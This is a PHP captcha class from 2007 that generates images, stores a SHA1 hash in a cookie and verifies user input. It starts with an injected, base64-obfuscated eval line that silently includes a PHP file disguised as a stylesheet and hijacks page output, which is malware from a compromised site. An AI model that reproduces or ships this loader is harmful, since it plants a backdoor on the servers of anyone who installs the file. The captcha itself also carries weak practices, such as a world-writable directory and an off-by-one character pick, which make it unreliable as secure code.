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<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9tbnQvMTY3L3NkYi9jLzQvcHJlcGFtcC9kb2NzL04uYXZhbmNlZXMva2l0X1Bob3Rvcy9zaXRlX2ZsYXNoL2FkbWluL2xpYnMvYW1mcGhwL2FtZi1jb3JlL2FkYXB0ZXJzL2xpYi9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php
    /*
        File: captcha.class.php
        Author: Jamie McConnell
        Email: jamie[at]blue44.com
        URL: http://nodstrum.com/2007/09/23/captcha/
        Date: 22/09/2007
        License: GPL
        
        If you do use this script, please reference me: http://nodstrum.com
        
        Usage Instructions:
            1.    On your form page add the following lines:
                require_once('captcha.class.php');
                $captcha = new Captcha;
                $captchaImage = $captcha->create();
            
            2.    In your form, where you want the Captcha displayed add this:
                <?= $captchaImage; ?>
            
            3.    On the processing page add this:
                require_once('captcha.class.php');
                $captcha = new Captcha;
                $verified = $captcha->verify($_POST[$captcha->captchaInputName]);
                
            4.    In your processing check for $verified being true/false.
                if($verified) {
                    // Captcha was correct
                } else {
                    // Captcha was incorrect
                }
                
            5.    Thats it! :)
                Enjoy.
    */
    class Captcha {
        /* Variables */
        var $imageDirectory = '/full/path/to/captcha/images/directory'; // No forward slash - must be writable, chmod 777
        var $imageURL = 'http://domain.com/path/to/captcha/images/directory'; // No forward slash.
        var $captchaLabel = 'Please complete the Captcha:'; // This is what is shown just above the captcha image.
        var $captchaBoxStyle = 'border: 1px solid #ccc; padding: 3px; margin: 3px; width: 210px; font-family: verdana; font-size: 11px;'; // This is the style for the captcah box.
 
        /* Advanced Users Variables */
        var $captchaLength = 5;
        var $imageWidth = 130;
        var $imageHeight = 30;
        var $imageTextColor = array(0,0,0); // RGB (Black)
        var $imageLineColor = array(255,20,147); // RGB (Black)
        var $imageBGColor = array(176,226,255); // RBG (Light Blue)
        var $captchaInputName = 'captcha_input';
        var $cookieName = 'NodstrumCaptcha';
        var $cookieTimeout = 300; // 5 mins.
        var $cleanupImages = true;
 
        // Check the directories exist and are writeable.
 
        function create() {
            // Cleanup before doing anything.
            $this->cleanup();
 
            // Define the dataset and set the key.
            $dataset = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','p','q','r','s','t','u','v','w','x','y','z',1,2,3,4,5,6,7,8,9);
            shuffle($dataset);
            $key = ''; // Initialise key.
            for($i=0; $i<$this->captchaLength; $i++) {
                $key .= $this->strtoupper_modified(trim($dataset[rand(0, count($dataset))]));
            }
 
            // Prep and generate the key hash - sha1.
            $key = trim($key);
            $keyHash = sha1($key);
 
            // Generate the image.
            $imageName = $this->generateImage($key);
            if(!$imageName) {
                die('There was an error generating the Captcha - Check your directory path and permissions.');
            } else {
                // Set the cookie.
                $cookie = setcookie($this->cookieName, $keyHash, (time()+$this->cookieTimeout), '/');
                if(!$cookie) {
                    die('Unable to set the cookie - Cookies must be enabled to use this form.');
                } else {
                    // Return the captcha and input box.
                    $captchaBox = '<div style="'.$this->captchaBoxStyle.'">
                                        '.$this->captchaLabel.'<br>
                                        <img src="'.$this->imageURL.'/'.$imageName.'" width="'.$this->imageWidth.'" height="'.$this->imageHeight.'" style="border: 1px solid #000; margin: 2px;" alt="CAPTCHA Image"><br>
                                        <input type="text" size="22" name="'.$this->captchaInputName.'" value="">
                                    </div>';
                    return $captchaBox;    
                }
            }
        } // Create :: Function.
 
        function generateImage($key) {
            // Create the image.
            $imageName = 'CAPTCHA_'.(time()+$this->cookieTimeout).'_'.rand(1,101).'_'.rand(201,9007).'.png';
            $imageFilename = ''.$this->imageDirectory.'/'.$imageName.'';
            $image = imagecreate($this->imageWidth, $this->imageHeight);
            $background = imagecolorallocate($image, $this->imageBGColor[0], $this->imageBGColor[1], $this->imageBGColor[2]);
 
            // Set the text colour.
            $textColor = imagecolorallocate($image, $this->imageTextColor[0], $this->imageTextColor[1], $this->imageTextColor[2]);
            $lineColor = imagecolorallocate($image, $this->imageLineColor[0], $this->imageLineColor[1], $this->imageLineColor[2]);
 
            // Add some lines to screw over the form hackers.
            imageline($image, 0,0,120,20, $lineColor); 
            imageline($image, 1,0,121,21, $lineColor); 
            imageline($image, 40,0,80,50, $lineColor);
            imageline($image, 41,0,81,51, $lineColor);
            imageline($image, 90,0,80,50, $lineColor);
 
            // Put spaces in between the letters.
            $keySplit = $this->str_split_php4($key);
            $formattedKey = ''; // Initialise it.
            for($i=0; $i<$this->captchaLength; $i++) {
                $formattedKey .= ''.$keySplit[$i].' ';
            }
 
            // Add the text to the image.
            imagestring($image, 5, 20, 10, $formattedKey, $textColor); 
 
            // Save the image.
            $saveImage = imagegif($image, $imageFilename, 100);
            imagedestroy($image);
            if($saveImage) {
                return $imageName;
            } else {
                return false;
            }
        } // GenerateImage :: Function.
 
        function verify($userInput) {
            if(isset($_COOKIE[$this->cookieName])) {
                // Get the cookie and hash the user input.
                $cookieDataHash = trim($_COOKIE[$this->cookieName]);
                $userInputF = $this->strtoupper_modified(trim($userInput));
                $userInputHash = sha1($userInputF);
 
                // Cleanup - the form has been submitted.
                $this->cleanup();
 
                // Verfiy that the cookie data length is 40 characters long - SHA1 standard - it might have been tampered with.
                if(strlen($cookieDataHash) == 40) {
                    if($cookieDataHash == $userInputHash) {
                        return true;
                    } else {
                        return false;
                    } // Cookie and user inputs match.
                } else {
                    // The cookie data has been tampered with, dont verify.
                    return false;
                } // CookieDataLength.
            } else {
                // No cookie was found, probably deleted, dont verify.
                return false;
            } // Cookie exists.
        } // Verify :: Function.
 
        function cleanup() {
            setcookie($this->cookieName, '', (time()-900000000), '/');
            if($openedDir = opendir($this->imageDirectory)) {
                while(($file = readdir($openedDir)) !== false) {
                    if($file != "." && $file != "..") {
                        $filenameE = explode('_', $file);
                        $fileExpires = $filenameE[1];
                        if($fileExpires <= time()) {
                            unlink($this->imageDirectory.'/'.$file);
                        } else {
                            // Not expiring yet.
                        }
                    } else {
                        // Skip it.
                    }
                } // while - reading directory.
            } // Directory opened.
        } // Cleanup :: Function.
 
        function str_split_php4($text, $split = 1) {
            if (!is_string($text)) return false;
            if (!is_numeric($split) && $split < 1) return false;
            $len = strlen($text);
            $array = array();
            $s = 0;
            $e=$split;
            while ($s <$len) {
                $e=($e <$len)?$e:$len;
                $array[] = substr($text, $s,$e);
                $s = $s+$e;
            }
            return $array;
        } // str_split_php4 :: Function - php.net (kjensen - http://uk3.php.net/str_split)
 
        function strtoupper_modified($string) {
            $splitString = $this->str_split_php4($string);
            $fString = ''; // Initialise it.
            foreach($splitString as $value) {
                if(is_numeric($value)) {
                    $fString .= $value;
                } else {
                    $fString .= strtoupper($value);
                }
            }
 
            return $fString;
        } // strtoupper_modified :: Function
 
    } // Captcha :: Class.
 
?>